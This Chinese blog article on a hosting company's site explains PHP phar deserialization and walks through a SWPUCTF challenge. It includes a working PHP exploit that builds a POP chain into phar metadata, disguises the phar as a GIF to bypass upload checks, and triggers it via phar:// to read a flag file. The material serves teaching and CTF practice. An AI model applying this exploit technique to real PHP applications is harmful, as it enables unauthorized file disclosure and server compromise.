行业动态

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
浅析phar反序列化漏洞攻击及实战
2021-07-16 16:33:45 【

phar反序列化漏洞很久之前就开始接触了;因为当时出了点问题导致一直无法成功,所以当时直接去学习其他的漏洞了;今天觉得是时候把这个漏洞补上去了;


漏洞成因


phar文件会以序列化的形式存储用户自定义的meta-data;该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作


原理分析


phar的组成


通过查阅手册发现phar由四部分组成;翻阅手册可以知道,phar由四个部分组成,分别是`stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)` 下面进行解释一下;


1 .0  a stub


标识作用,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar文件;


2 .0


a manifest describing the contents


其实可以理解为phar文件本质上是一中压缩文件,其中包含有压缩信息和权限,当然我们需要利用的序列化也在里面;


image.png


图片来源seebug


3 .0 the file contents


这里指的是被压缩文件的内容;


4 .0 [optional] a signature for verifying Phar integrity (phar file format only)


签名,放在结尾;


试验


这里引用开心师傅给的一个实例;来进行生成;


```php

<?php

   class TestObject {

   }


   @unlink("phar.phar");

   $phar = new Phar("phar.phar"); //后缀名必须为phar

   $phar->startBuffering();

   $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

   $o = new TestObject();

   $phar->setMetadata($o); //将自定义的meta-data存入manifest

   $phar->addFromString("test.txt", "test"); //添加要压缩的文件

   //签名自动计算

   $phar->stopBuffering();

?>

```

然后在服务器之下运行,发现成功生成phar文件;


image.png


然后打开这个phar文件,我们发现已经成功;并且数据的存储方式是以序列化的方式存储的;


那么既然有序列化,那么就一定有反序列化,php的很多文件系统函数在通过phar://伪协议解析phar文件的时候。都会将mate-data进行反序列化。


将phar伪造为其他类型的文件


前面在讲的时候已经介绍了phar的四个部分,这里注意到第一个部分stub;因为这个部分的存在,纵然我们修改了phar后缀,服务器读取到stub的时候依然会当作phar文件;再准确点讲就是下面的代码;(二进制的编译器有点问题,简单用记事本来看看;)也还是可以发现是以序列化形式存储的;


image.png


实战


拿一道 SWPUCTF 中的一道题目来讲;进去就发现了包含漏洞,然后直接读取源码,发现并没有对phar进行过滤;而且源代码里有提示,所以差不多实锤了,就是phar反序列化漏洞了;


直接来对关键的代码进行分析;class.php


这里面看到有三个类,再明显不过了,这就是主要的pop链的构造处;然后发现了危险的函数 file_get_contents();那看来就是利用这个读源码了;


image.png


一步步分析;先看到C1e4r这个类里面有echo;那要利用echo;以达到输出字符串的目的;


image.png


然后看到show类里有一个 __toString()方法,这个方法在对象被转化为字符串的时候会自动调用;比如进行echo print的时候会进行调用并返回一个字符串;


image.png


然后审计Test类,发现file_get_contents()函数,那就是利用了;一步一步向前追溯  file_get->get->__get();这里主要还是调用__get()方法;


那么这里思路差不多清晰了;简单来讲;在test类中要调用__get方法,那么触发这个方法我们需要在show类里寻,因为这个类里面运用了source属性,所以只需要将 str['str'] 赋值为 Test类就可以,那么触发 __toString()方法就需要用到我们的第一个类里面的echo了;


那么思路清晰就构造处pop链;


exp编写


<?php

class C1e4r

{

   public $test;

   public $str;

}


class Show

{

   public $source;

   public $str;

}

class Test

{

   public $file;

   public $params;

}

$c1e4r = new C1e4r();

$show = new Show();

$test = new Test();

$test->params['source'] = "/var/www/html/f1ag.php";

$c1e4r->str = $show;  

$show->str['str'] = $test;


$phar = new Phar("exp.phar");

$phar->startBuffering();

$phar->setStub('<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($c1e4r);

$phar->addFromString("exp.txt", "test");

$phar->stopBuffering();

?>

生成phar文件,改后缀为gif绕过限制,上传之后进入upload目录之下(或者根据源代码算出上传后的文件名),复制文件名到读取文件的窗口读取   file=phar://xxxxxx.jpg然后得到base64的编码解码就好。


PHP安全特性之伪协议 http://hetianlab.com/expc.do?ec=ECIDa96d-c30c-45f2-b109-1adb6a9fc2ee&pk_campaign=maibo-wemedia(通过该实验了解php中的伪协议的应用及攻击手段研究,能熟练使用burpsuite、中国菜刀等安全工具的使用。)


】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇云计算的普及,存在那些安全风险? 下一篇云服务器如何防止CC攻击

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800